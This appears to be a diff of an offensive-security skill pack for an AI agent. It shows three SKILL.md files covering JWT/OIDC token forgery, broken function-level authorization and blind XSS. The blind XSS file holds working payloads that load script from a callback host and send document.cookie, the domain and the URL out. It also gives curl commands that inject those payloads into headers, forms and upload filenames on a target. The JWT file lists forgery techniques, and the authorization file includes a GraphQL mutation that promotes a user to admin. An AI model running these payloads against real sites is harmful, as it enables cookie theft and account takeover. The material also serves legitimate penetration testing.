- package/skills/offensive/airecon-fork/vulnerabilities-blind-xss/SKILL.md +111 -0
- package/skills/offensive/airecon-fork/vulnerabilities-business-logic/SKILL.md +313 -0
- package/skills/offensive/airecon-fork/vulnerabilities-cors/SKILL.md +242 -0
- package/skills/offensive/airecon-fork/vulnerabilities-crlf-injection/SKILL.md +146 -0
- package/skills/offensive/airecon-fork/vulnerabilities-csrf/SKILL.md +200 -0
- package/skills/offensive/airecon-fork/vulnerabilities-csrf-advanced-bypass/SKILL.md +536 -0
- package/skills/offensive/airecon-fork/vulnerabilities-deserialization/SKILL.md +363 -0
- package/skills/offensive/airecon-fork/vulnerabilities-dom-based-vulnerabilities/SKILL.md +105 -0
- package/skills/offensive/airecon-fork/vulnerabilities-exploitation/SKILL.md +286 -0
- package/skills/offensive/airecon-fork/vulnerabilities-grpc/SKILL.md +123 -0
- package/skills/offensive/airecon-fork/vulnerabilities-host-header-injection/SKILL.md +169 -0
- package/skills/offensive/airecon-fork/vulnerabilities-http-smuggling/SKILL.md +411 -0
- package/skills/offensive/airecon-fork/vulnerabilities-idor/SKILL.md +705 -0
- package/skills/offensive/airecon-fork/vulnerabilities-information-disclosure/SKILL.md +867 -0
- package/skills/offensive/airecon-fork/vulnerabilities-insecure-file-uploads/SKILL.md +190 -0
- package/skills/offensive/airecon-fork/vulnerabilities-jwt-attacks/SKILL.md +270 -0
- package/skills/offensive/airecon-fork/vulnerabilities-kubernetes/SKILL.md +252 -0
- package/skills/offensive/airecon-fork/vulnerabilities-mass-assignment/SKILL.md +788 -0
- package/skills/offensive/airecon-fork/vulnerabilities-nosql-injection/SKILL.md +204 -0
- package/skills/offensive/airecon-fork/vulnerabilities-oauth-misconfig/SKILL.md +220 -0
- package/skills/offensive/airecon-fork/vulnerabilities-oauth-saml/SKILL.md +163 -0
- package/skills/offensive/airecon-fork/vulnerabilities-open-redirect/SKILL.md +167 -0
- package/skills/offensive/airecon-fork/vulnerabilities-password-reset-poisoning/SKILL.md +66 -0
- package/skills/offensive/airecon-fork/vulnerabilities-path-traversal/SKILL.md +192 -0
- package/skills/offensive/airecon-fork/vulnerabilities-privilege-escalation/SKILL.md +320 -0
- package/skills/offensive/airecon-fork/vulnerabilities-prototype-pollution/SKILL.md +242 -0
- package/skills/offensive/airecon-fork/vulnerabilities-race-conditions/SKILL.md +192 -0
- package/skills/offensive/airecon-fork/vulnerabilities-rce/SKILL.md +240 -0
- package/skills/offensive/airecon-fork/vulnerabilities-sensitive-file-pii-exposure/SKILL.md +589 -0
- package/skills/offensive/airecon-fork/vulnerabilities-spring4shell/SKILL.md +86 -0
- package/skills/offensive/airecon-fork/vulnerabilities-sql-injection/SKILL.md +313 -0
- package/skills/offensive/airecon-fork/vulnerabilities-ssrf/SKILL.md +183 -0
- package/skills/offensive/airecon-fork/vulnerabilities-ssti/SKILL.md +344 -0
- package/skills/offensive/airecon-fork/vulnerabilities-subdomain-takeover/SKILL.md +160 -0
- package/skills/offensive/airecon-fork/vulnerabilities-supply-chain/SKILL.md +125 -0
- package/skills/offensive/airecon-fork/vulnerabilities-unhandled-exception-differential/SKILL.md +742 -0
- package/skills/offensive/airecon-fork/vulnerabilities-waf-detection/SKILL.md +90 -0
- package/skills/offensive/airecon-fork/vulnerabilities-web-cache-poisoning/SKILL.md +233 -0
- package/skills/offensive/airecon-fork/vulnerabilities-websocket/SKILL.md +180 -0
- package/skills/offensive/airecon-fork/vulnerabilities-xss/SKILL.md +316 -0
- package/skills/offensive/airecon-fork/vulnerabilities-xxe/SKILL.md +222 -0
|
@@ -0,0 +1,158 @@
|
|
|
1
|
+
<!-- aegis-local: forked 2026-05-04 from pikpikcu/airecon@9a21453459d87eefb012ea355c79b593d0d3c0cc (MIT-licensed); attribution preserved, see ATTRIBUTION.md -->
|
|
2
|
+
|
|
3
|
+
---
|
|
4
|
+
name: authentication-jwt
|
|
5
|
+
description: JWT and OIDC security testing covering token forgery, algorithm confusion, and claim manipulation
|
|
6
|
+
---
|
|
7
|
+
|
|
8
|
+
# Authentication / JWT / OIDC
|
|
9
|
+
|
|
10
|
+
JWT/OIDC failures often enable token forgery, token confusion, cross-service acceptance, and durable account takeover. Do not trust headers, claims, or token opacity without strict validation bound to issuer, audience, key, and context.
|
|
11
|
+
|
|
12
|
+
## Attack Surface
|
|
13
|
+
|
|
14
|
+
- Web/mobile/API authentication using JWT (JWS/JWE) and OIDC/OAuth2
|
|
15
|
+
- Access vs ID tokens, refresh tokens, device/PKCE/Backchannel flows
|
|
16
|
+
- First-party and microservices verification, gateways, and JWKS distribution
|
|
17
|
+
|
|
18
|
+
## Reconnaissance
|
|
19
|
+
|
|
20
|
+
### Endpoints
|
|
21
|
+
|
|
22
|
+
- Well-known: `/.well-known/openid-configuration`, `/oauth2/.well-known/openid-configuration`
|
|
23
|
+
- Keys: `/jwks.json`, rotating key endpoints, tenant-specific JWKS
|
|
24
|
+
- Auth: `/authorize`, `/token`, `/introspect`, `/revoke`, `/logout`, device code endpoints
|
|
25
|
+
- App: `/login`, `/callback`, `/refresh`, `/me`, `/session`, `/impersonate`
|
|
26
|
+
|
|
27
|
+
### Token Features
|
|
28
|
+
|
|
29
|
+
- Headers: `{"alg":"RS256","kid":"...","typ":"JWT","jku":"...","x5u":"...","jwk":{...}}`
|
|
30
|
+
- Claims: `{"iss":"...","aud":"...","azp":"...","sub":"user","scope":"...","exp":...,"nbf":...,"iat":...}`
|
|
31
|
+
- Formats: JWS (signed), JWE (encrypted). Note unencoded payload option (`"b64":false`) and critical headers (`"crit"`)
|
|
32
|
+
|
|
33
|
+
## Key Vulnerabilities
|
|
34
|
+
|
|
35
|
+
### Signature Verification
|
|
36
|
+
|
|
37
|
+
- RS256→HS256 confusion: change alg to HS256 and use the RSA public key as HMAC secret if algorithm is not pinned
|
|
38
|
+
- "none" algorithm acceptance: set `"alg":"none"` and drop the signature if libraries accept it
|
|
39
|
+
- ECDSA malleability/misuse: weak verification settings accepting non-canonical signatures
|
|
40
|
+
|
|
41
|
+
### Header Manipulation
|
|
42
|
+
|
|
43
|
+
- **kid injection**: path traversal `../../../../keys/prod.key`, SQL/command/template injection in key lookup, or pointing to world-readable files
|
|
44
|
+
- **jku/x5u abuse**: host attacker-controlled JWKS/X509 chain; if not pinned/whitelisted, server fetches and trusts attacker keys
|
|
45
|
+
- **jwk header injection**: embed attacker JWK in header; some libraries prefer inline JWK over server-configured keys
|
|
46
|
+
- **SSRF via remote key fetch**: exploit JWKS URL fetching to reach internal hosts
|
|
47
|
+
|
|
48
|
+
### Key and Cache Issues
|
|
49
|
+
|
|
50
|
+
- JWKS caching TTL and key rollover: accept obsolete keys; race rotation windows; missing kid pinning → accept any matching kty/alg
|
|
51
|
+
- Mixed environments: same secrets across dev/stage/prod; key reuse across tenants or services
|
|
52
|
+
- Fallbacks: verification succeeds when kid not found by trying all keys or no keys (implementation bugs)
|
|
53
|
+
|
|
54
|
+
### Claims Validation Gaps
|
|
55
|
+
|
|
56
|
+
- iss/aud/azp not enforced: cross-service token reuse; accept tokens from any issuer or wrong audience
|
|
57
|
+
- scope/roles fully trusted from token: server does not re-derive authorization; privilege inflation via claim edits when signature checks are weak
|
|
58
|
+
- exp/nbf/iat not enforced or large clock skew tolerance; accept long-expired or not-yet-valid tokens
|
|
59
|
+
- typ/cty not enforced: accept ID token where access token required (token confusion)
|
|
60
|
+
|
|
61
|
+
### Token Confusion and OIDC
|
|
62
|
+
|
|
63
|
+
- Access vs ID token swap: use ID token against APIs when they only verify signature but not audience/typ
|
|
64
|
+
- OIDC mix-up: redirect_uri and client mix-ups causing tokens for Client A to be redeemed at Client B
|
|
65
|
+
- PKCE downgrades: missing S256 requirement; accept plain or absent code_verifier
|
|
66
|
+
- State/nonce weaknesses: predictable or missing → CSRF/logical interception of login
|
|
67
|
+
- Device/Backchannel flows: codes and tokens accepted by unintended clients or services
|
|
68
|
+
|
|
69
|
+
### Refresh and Session
|
|
70
|
+
|
|
71
|
+
- Refresh token rotation not enforced: reuse old refresh token indefinitely; no reuse detection
|
|
72
|
+
- Long-lived JWTs with no revocation: persistent access post-logout
|
|
73
|
+
- Session fixation: bind new tokens to attacker-controlled session identifiers or cookies
|
|
74
|
+
|
|
75
|
+
### Transport and Storage
|
|
76
|
+
|
|
77
|
+
- Token in localStorage/sessionStorage: susceptible to XSS exfiltration; cookie vs header trade-offs with SameSite/CSRF
|
|
78
|
+
- Insecure CORS: wildcard origins with credentialed requests expose tokens and protected responses
|
|
79
|
+
- TLS and cookie flags: missing Secure/HttpOnly; lack of mTLS or DPoP/"cnf" binding permits replay from another device
|
|
80
|
+
|
|
81
|
+
## Advanced Techniques
|
|
82
|
+
|
|
83
|
+
### Microservices and Gateways
|
|
84
|
+
|
|
85
|
+
- Audience mismatch: internal services verify signature but ignore aud → accept tokens for other services
|
|
86
|
+
- Header trust: edge or gateway injects X-User-Id; backend trusts it over token claims
|
|
87
|
+
- Asynchronous consumers: workers process messages with bearer tokens but skip verification on replay
|
|
88
|
+
|
|
89
|
+
### JWS Edge Cases
|
|
90
|
+
|
|
91
|
+
- Unencoded payload (b64=false) with crit header: libraries mishandle verification paths
|
|
92
|
+
- Nested JWT (JWT-in-JWT) verification order errors; outer token accepted while inner claims ignored
|
|
93
|
+
|
|
94
|
+
## Special Contexts
|
|
95
|
+
|
|
96
|
+
### Mobile
|
|
97
|
+
|
|
98
|
+
- Deep-link/redirect handling bugs leak codes/tokens; insecure WebView bridges exposing tokens
|
|
99
|
+
- Token storage in plaintext files/SQLite/Keychain/SharedPrefs; backup/adb accessible
|
|
100
|
+
|
|
101
|
+
### SSO Federation
|
|
102
|
+
|
|
103
|
+
- Misconfigured trust between multiple IdPs/SPs, mixed metadata, or stale keys lead to acceptance of foreign tokens
|
|
104
|
+
|
|
105
|
+
## Chaining Attacks
|
|
106
|
+
|
|
107
|
+
- XSS → token theft → replay across services with weak audience checks
|
|
108
|
+
- SSRF → fetch private JWKS → sign tokens accepted by internal services
|
|
109
|
+
- Host header poisoning → OIDC redirect_uri poisoning → code capture
|
|
110
|
+
- IDOR in sessions/impersonation endpoints → mint tokens for other users
|
|
111
|
+
|
|
112
|
+
## Testing Methodology
|
|
113
|
+
|
|
114
|
+
1. **Inventory issuers/consumers** - Identity providers, API gateways, services, mobile/web clients
|
|
115
|
+
2. **Capture tokens** - Access and ID tokens for multiple roles; note header, claims, signature
|
|
116
|
+
3. **Map verification endpoints** - `/.well-known`, `/jwks.json`
|
|
117
|
+
4. **Build matrix** - Token Type × Audience × Service; attempt cross-use
|
|
118
|
+
5. **Mutate components** - Headers (alg, kid, jku/x5u/jwk), claims (iss/aud/azp/sub/exp), signatures
|
|
119
|
+
6. **Verify enforcement** - What is actually checked vs assumed
|
|
120
|
+
|
|
121
|
+
## Validation
|
|
122
|
+
|
|
123
|
+
1. Show forged or cross-context token acceptance (wrong alg, wrong audience/issuer, or attacker-signed JWKS)
|
|
124
|
+
2. Demonstrate access token vs ID token confusion at an API
|
|
125
|
+
3. Prove refresh token reuse without rotation detection or revocation
|
|
126
|
+
4. Confirm header abuse (kid/jku/x5u/jwk) leading to key selection under attacker control
|
|
127
|
+
5. Provide owner vs non-owner evidence with identical requests differing only in token context
|
|
128
|
+
|
|
129
|
+
## False Positives
|
|
130
|
+
|
|
131
|
+
- Token rejected due to strict audience/issuer enforcement
|
|
132
|
+
- Key pinning with JWKS whitelist and TLS validation
|
|
133
|
+
- Short-lived tokens with rotation and revocation on logout
|
|
134
|
+
- ID token not accepted by APIs that require access tokens
|
|
135
|
+
|
|
136
|
+
## Impact
|
|
137
|
+
|
|
138
|
+
- Account takeover and durable session persistence
|
|
139
|
+
- Privilege escalation via claim manipulation or cross-service acceptance
|
|
140
|
+
- Cross-tenant or cross-application data access
|
|
141
|
+
- Token minting by attacker-controlled keys or endpoints
|
|
142
|
+
|
|
143
|
+
## Pro Tips
|
|
144
|
+
|
|
145
|
+
1. Pin verification to issuer and audience; log and diff claim sets across services
|
|
146
|
+
2. Attempt RS256→HS256 and "none" first only if algorithm pinning is unclear; otherwise focus on header key control (kid/jku/x5u/jwk)
|
|
147
|
+
3. Test token reuse across all services; many backends only check signature, not audience/typ
|
|
148
|
+
4. Exploit JWKS caching and rotation races; try retired keys and missing kid fallbacks
|
|
149
|
+
5. Exercise OIDC flows with PKCE/state/nonce variants and mixed clients; look for mix-up
|
|
150
|
+
6. Try DPoP/mTLS absence to replay tokens from different devices
|
|
151
|
+
7. Treat refresh as its own surface: rotation, reuse detection, and audience scoping
|
|
152
|
+
8. Validate every acceptance path: gateway, service, worker, WebSocket, and gRPC
|
|
153
|
+
9. Favor minimal PoCs that clearly show cross-context acceptance and durable access
|
|
154
|
+
10. When in doubt, assume verification differs per stack (mobile vs web vs gateway) and test each
|
|
155
|
+
|
|
156
|
+
## Summary
|
|
157
|
+
|
|
158
|
+
Verification must bind the token to the correct issuer, audience, key, and client context on every acceptance path. Any missing binding enables forgery or confusion.
|
|
@@ -0,0 +1,156 @@
|
|
|
1
|
+
<!-- aegis-local: forked 2026-05-04 from pikpikcu/airecon@9a21453459d87eefb012ea355c79b593d0d3c0cc (MIT-licensed); attribution preserved, see ATTRIBUTION.md -->
|
|
2
|
+
|
|
3
|
+
---
|
|
4
|
+
name: broken-function-level-authorization
|
|
5
|
+
description: BFLA testing for action-level authorization failures across endpoints, admin functions, and API operations
|
|
6
|
+
---
|
|
7
|
+
|
|
8
|
+
# Broken Function Level Authorization (BFLA)
|
|
9
|
+
|
|
10
|
+
BFLA is action-level authorization failure: callers invoke functions (endpoints, mutations, admin tools) they are not entitled to. It appears when enforcement differs across transports, gateways, roles, or when services trust client hints. Bind subject × action at the service that performs the action.
|
|
11
|
+
|
|
12
|
+
## Attack Surface
|
|
13
|
+
|
|
14
|
+
- Vertical authz: privileged/admin/staff-only actions reachable by basic users
|
|
15
|
+
- Feature gates: toggles enforced at edge/UI, not at core services
|
|
16
|
+
- Transport drift: REST vs GraphQL vs gRPC vs WebSocket with inconsistent checks
|
|
17
|
+
- Gateway trust: backends trust X-User-Id/X-Role injected by proxies/edges
|
|
18
|
+
- Background workers/jobs performing actions without re-checking authz
|
|
19
|
+
|
|
20
|
+
## High-Value Actions
|
|
21
|
+
|
|
22
|
+
- Role/permission changes, impersonation/sudo, invite/accept into orgs
|
|
23
|
+
- Approve/void/refund/credit issuance, price/plan overrides
|
|
24
|
+
- Export/report generation, data deletion, account suspension/reactivation
|
|
25
|
+
- Feature flag toggles, quota/grant adjustments, license/seat changes
|
|
26
|
+
- Security settings: 2FA reset, email/phone verification overrides
|
|
27
|
+
|
|
28
|
+
## Reconnaissance
|
|
29
|
+
|
|
30
|
+
### Surface Enumeration
|
|
31
|
+
|
|
32
|
+
- Admin/staff consoles and APIs, support tools, internal-only endpoints exposed via gateway
|
|
33
|
+
- Hidden buttons and disabled UI paths (feature-flagged) mapped to still-live endpoints
|
|
34
|
+
- GraphQL schemas: mutations and admin-only fields/types; gRPC service descriptors (reflection)
|
|
35
|
+
- Mobile clients often reveal extra endpoints/roles in app bundles or network logs
|
|
36
|
+
|
|
37
|
+
### Signals
|
|
38
|
+
|
|
39
|
+
- 401/403 on UI but 200 via direct API call; differing status codes across transports
|
|
40
|
+
- Actions succeed via background jobs when direct call is denied
|
|
41
|
+
- Changing only headers (role/org) alters access without token change
|
|
42
|
+
|
|
43
|
+
## Key Vulnerabilities
|
|
44
|
+
|
|
45
|
+
### Verb Drift and Aliases
|
|
46
|
+
|
|
47
|
+
- Alternate methods: GET performing state change; POST vs PUT vs PATCH differences; X-HTTP-Method-Override/_method
|
|
48
|
+
- Alternate endpoints performing the same action with weaker checks (legacy vs v2, mobile vs web)
|
|
49
|
+
|
|
50
|
+
### Edge vs Core Mismatch
|
|
51
|
+
|
|
52
|
+
- Edge blocks an action but core service RPC accepts it directly; call internal service via exposed API route or SSRF
|
|
53
|
+
- Gateway-injected identity headers override token claims; supply conflicting headers to test precedence
|
|
54
|
+
|
|
55
|
+
### Feature Flag Bypass
|
|
56
|
+
|
|
57
|
+
- Client-checked feature gates; call backend endpoints directly
|
|
58
|
+
- Admin-only mutations exposed but hidden in UI; invoke via GraphQL or gRPC tools
|
|
59
|
+
|
|
60
|
+
### Batch Job Paths
|
|
61
|
+
|
|
62
|
+
- Create export/import jobs where creation is allowed but finalize/approve lacks authz; finalize others' jobs
|
|
63
|
+
- Replay webhooks/background tasks endpoints that perform privileged actions without verifying caller
|
|
64
|
+
|
|
65
|
+
### Content-Type Paths
|
|
66
|
+
|
|
67
|
+
- JSON vs form vs multipart handlers using different middleware: send the action via the most permissive parser
|
|
68
|
+
|
|
69
|
+
## Advanced Techniques
|
|
70
|
+
|
|
71
|
+
### GraphQL
|
|
72
|
+
|
|
73
|
+
- Resolver-level checks per mutation/field; do not assume top-level auth covers nested mutations or admin fields
|
|
74
|
+
- Abuse aliases/batching to sneak privileged fields; persisted queries sometimes bypass auth transforms
|
|
75
|
+
|
|
76
|
+
```graphql
|
|
77
|
+
mutation Promote($id:ID!){
|
|
78
|
+
a: updateUser(id:$id, role: ADMIN){ id role }
|
|
79
|
+
}
|
|
80
|
+
```
|
|
81
|
+
|
|
82
|
+
### gRPC
|
|
83
|
+
|
|
84
|
+
- Method-level auth via interceptors must enforce audience/roles; probe direct gRPC with tokens of lower role
|
|
85
|
+
- Reflection lists services/methods; call admin methods that the gateway hid
|
|
86
|
+
|
|
87
|
+
### WebSocket
|
|
88
|
+
|
|
89
|
+
- Handshake-only auth: ensure per-message authorization on privileged events (e.g., admin:impersonate)
|
|
90
|
+
- Try emitting privileged actions after joining standard channels
|
|
91
|
+
|
|
92
|
+
### Multi-Tenant
|
|
93
|
+
|
|
94
|
+
- Actions requiring tenant admin enforced only by header/subdomain; attempt cross-tenant admin actions by switching selectors with same token
|
|
95
|
+
|
|
96
|
+
### Microservices
|
|
97
|
+
|
|
98
|
+
- Internal RPCs trust upstream checks; reach them through exposed endpoints or SSRF; verify each service re-enforces authz
|
|
99
|
+
|
|
100
|
+
## Bypass Techniques
|
|
101
|
+
|
|
102
|
+
### Header Trust
|
|
103
|
+
|
|
104
|
+
- Supply X-User-Id/X-Role/X-Organization headers; remove or contradict token claims; observe which source wins
|
|
105
|
+
|
|
106
|
+
### Route Shadowing
|
|
107
|
+
|
|
108
|
+
- Legacy/alternate routes (e.g., /admin/v1 vs /v2/admin) that skip new middleware chains
|
|
109
|
+
|
|
110
|
+
### Idempotency and Retries
|
|
111
|
+
|
|
112
|
+
- Retry or replay finalize/approve endpoints that apply state without checking actor on each call
|
|
113
|
+
|
|
114
|
+
### Cache Key Confusion
|
|
115
|
+
|
|
116
|
+
- Cached authorization decisions at edge leading to cross-user reuse; test with Vary and session swaps
|
|
117
|
+
|
|
118
|
+
## Testing Methodology
|
|
119
|
+
|
|
120
|
+
1. **Build Actor × Action matrix** - Unauth, basic, premium, staff/admin; enumerate actions per role
|
|
121
|
+
2. **Obtain tokens/sessions** - For each role
|
|
122
|
+
3. **Exercise every action** - Across all transports and encodings (JSON, form, multipart), including method overrides
|
|
123
|
+
4. **Vary headers and selectors** - Org/tenant/project; test behind gateway vs direct-to-service
|
|
124
|
+
5. **Include background flows** - Job creation/finalization, webhooks, queues; confirm re-validation
|
|
125
|
+
|
|
126
|
+
## Validation
|
|
127
|
+
|
|
128
|
+
1. Show a lower-privileged principal successfully invokes a restricted action (same inputs) while the proper role succeeds and another lower role fails
|
|
129
|
+
2. Provide evidence across at least two transports or encodings demonstrating inconsistent enforcement
|
|
130
|
+
3. Demonstrate that removing/altering client-side gates (buttons/flags) does not affect backend success
|
|
131
|
+
4. Include durable state change proof: before/after snapshots, audit logs, and authoritative sources
|
|
132
|
+
|
|
133
|
+
## False Positives
|
|
134
|
+
|
|
135
|
+
- Read-only endpoints mislabeled as admin but publicly documented
|
|
136
|
+
- Feature toggles intentionally open to all roles for preview/beta with clear policy
|
|
137
|
+
- Simulated environments where admin endpoints are stubbed with no side effects
|
|
138
|
+
|
|
139
|
+
## Impact
|
|
140
|
+
|
|
141
|
+
- Privilege escalation to admin/staff actions
|
|
142
|
+
- Monetary/state impact: refunds/credits/approvals without authorization
|
|
143
|
+
- Tenant-wide configuration changes, impersonation, or data deletion
|
|
144
|
+
- Compliance and audit violations due to bypassed approval workflows
|
|
145
|
+
|
|
146
|
+
## Pro Tips
|
|
147
|
+
|
|
148
|
+
1. Start from the role matrix; test every action with basic vs admin tokens across REST/GraphQL/gRPC
|
|
149
|
+
2. Diff middleware stacks between routes; weak chains often exist on legacy or alternate encodings
|
|
150
|
+
3. Inspect gateways for identity header injection; never trust client-provided identity
|
|
151
|
+
4. Treat jobs/webhooks as first-class: finalize/approve must re-check the actor
|
|
152
|
+
5. Prefer minimal PoCs: one request that flips a privileged field or invokes an admin method with a basic token
|
|
153
|
+
|
|
154
|
+
## Summary
|
|
155
|
+
|
|
156
|
+
Authorization must bind the actor to the specific action at the service boundary on every request and message. UI gates, gateways, or prior steps do not substitute for function-level checks.
|
|
@@ -0,0 +1,111 @@
|
|
|
1
|
+
<!-- aegis-local: forked 2026-05-04 from pikpikcu/airecon@9a21453459d87eefb012ea355c79b593d0d3c0cc (MIT-licensed); attribution preserved, see ATTRIBUTION.md -->
|
|
2
|
+
|
|
3
|
+
# Blind XSS (Out-of-Band XSS)
|
|
4
|
+
|
|
5
|
+
## Overview
|
|
6
|
+
Blind XSS triggers in a different user context (admin panel, log viewer, moderation queue).
|
|
7
|
+
Use out-of-band (OOB) callbacks to detect execution and collect evidence safely.
|
|
8
|
+
|
|
9
|
+
## Prerequisites
|
|
10
|
+
```bash
|
|
11
|
+
# OOB callback service
|
|
12
|
+
# (records hits and provides a unique domain)
|
|
13
|
+
go install github.com/projectdiscovery/interactsh/cmd/interactsh-client@latest
|
|
14
|
+
```
|
|
15
|
+
|
|
16
|
+
## Phase 1: Setup Callback Channel
|
|
17
|
+
```bash
|
|
18
|
+
interactsh-client -o /workspace/output/TARGET_interactsh.txt
|
|
19
|
+
# Note the generated domain: <CALLBACK>
|
|
20
|
+
```
|
|
21
|
+
|
|
22
|
+
## Phase 2: Identify Injection Points
|
|
23
|
+
```bash
|
|
24
|
+
cat > /workspace/output/TARGET_bxss_points.txt <<'POINTS'
|
|
25
|
+
contact/support forms
|
|
26
|
+
admin-mod review queues
|
|
27
|
+
profile fields (name, bio, website)
|
|
28
|
+
file upload filenames and metadata
|
|
29
|
+
log viewers (user-agent, referer, x-forwarded-for)
|
|
30
|
+
markdown/rich-text inputs
|
|
31
|
+
POINTS
|
|
32
|
+
```
|
|
33
|
+
|
|
34
|
+
## Phase 3: Payload Set
|
|
35
|
+
```bash
|
|
36
|
+
cat > /workspace/output/TARGET_bxss_payloads.txt <<'PAYLOADS'
|
|
37
|
+
"><script src=//CALLBACK/x.js></script>
|
|
38
|
+
"><img src=x onerror="new Image().src='//CALLBACK/?c='+encodeURIComponent(document.cookie)">
|
|
39
|
+
"><svg/onload=fetch('//CALLBACK/?d='+document.domain)>
|
|
40
|
+
</script><script src=//CALLBACK/x.js></script>
|
|
41
|
+
"><iframe src=javascript:fetch('//CALLBACK/?u='+document.URL)></iframe>
|
|
42
|
+
PAYLOADS
|
|
43
|
+
```
|
|
44
|
+
|
|
45
|
+
## Phase 4: Header Injection (Log-Based Blind XSS)
|
|
46
|
+
```bash
|
|
47
|
+
PAYLOAD='<PAYLOAD_FROM_LIST>'
|
|
48
|
+
|
|
49
|
+
curl -s https://TARGET/ \
|
|
50
|
+
-H "User-Agent: $PAYLOAD" \
|
|
51
|
+
-H "Referer: $PAYLOAD" \
|
|
52
|
+
-H "X-Forwarded-For: $PAYLOAD" \
|
|
53
|
+
-H "X-Real-IP: $PAYLOAD" \
|
|
54
|
+
| tee /workspace/output/TARGET_bxss_header_test.txt
|
|
55
|
+
```
|
|
56
|
+
|
|
57
|
+
## Phase 5: Stored/Delayed Execution
|
|
58
|
+
```bash
|
|
59
|
+
PAYLOAD='<PAYLOAD_FROM_LIST>'
|
|
60
|
+
|
|
61
|
+
# Typical form submission
|
|
62
|
+
curl -s -X POST https://TARGET/feedback \
|
|
63
|
+
-H "Content-Type: application/x-www-form-urlencoded" \
|
|
64
|
+
--data-urlencode "message=$PAYLOAD" \
|
|
65
|
+
| tee /workspace/output/TARGET_bxss_form_test.txt
|
|
66
|
+
|
|
67
|
+
# File upload filename injection
|
|
68
|
+
curl -s -X POST https://TARGET/upload \
|
|
69
|
+
-F "file=@/path/to/file.png;filename=\"$PAYLOAD.png\"" \
|
|
70
|
+
-F "title=test" \
|
|
71
|
+
| tee /workspace/output/TARGET_bxss_upload_test.txt
|
|
72
|
+
```
|
|
73
|
+
|
|
74
|
+
## Phase 6: Triage & Evidence Collection
|
|
75
|
+
```bash
|
|
76
|
+
# Review OOB hits and correlate timestamps + user-agent
|
|
77
|
+
rg -n "http|https" /workspace/output/TARGET_interactsh.txt \
|
|
78
|
+
> /workspace/output/TARGET_bxss_hits.txt
|
|
79
|
+
```
|
|
80
|
+
|
|
81
|
+
## Report Template
|
|
82
|
+
|
|
83
|
+
```
|
|
84
|
+
Target: TARGET
|
|
85
|
+
Callback Domain: <CALLBACK>
|
|
86
|
+
Assessment Date: <DATE>
|
|
87
|
+
|
|
88
|
+
## Confirmed Blind XSS
|
|
89
|
+
- Injection point: <field/endpoint>
|
|
90
|
+
- Payload: <payload>
|
|
91
|
+
- Evidence: <timestamp + request details>
|
|
92
|
+
- Execution context: <admin panel / log viewer / other>
|
|
93
|
+
|
|
94
|
+
## Impact
|
|
95
|
+
- Stored XSS in privileged context
|
|
96
|
+
- Account takeover / CSRF token theft potential
|
|
97
|
+
|
|
98
|
+
## Recommendations
|
|
99
|
+
1. Encode output by context (HTML, attribute, JS, URL)
|
|
100
|
+
2. Sanitize inputs and disallow dangerous tags/attrs
|
|
101
|
+
3. Enforce CSP with strict `script-src` and no `unsafe-inline`
|
|
102
|
+
4. Remove HTML rendering for untrusted fields in admin tools
|
|
103
|
+
```
|
|
104
|
+
|
|
105
|
+
## Output Files
|
|
106
|
+
- `/workspace/output/TARGET_bxss_payloads.txt` — payload list
|
|
107
|
+
- `/workspace/output/TARGET_bxss_points.txt` — target points
|
|
108
|
+
- `/workspace/output/TARGET_interactsh.txt` — OOB callback log
|
|
109
|
+
- `/workspace/output/TARGET_bxss_hits.txt` — extracted hits
|
|
110
|
+
|
|
111
|
+
indicators: blind xss, bxss, out of band xss, xss hunter, xsshunter, oob xss, stored xss, log xss
|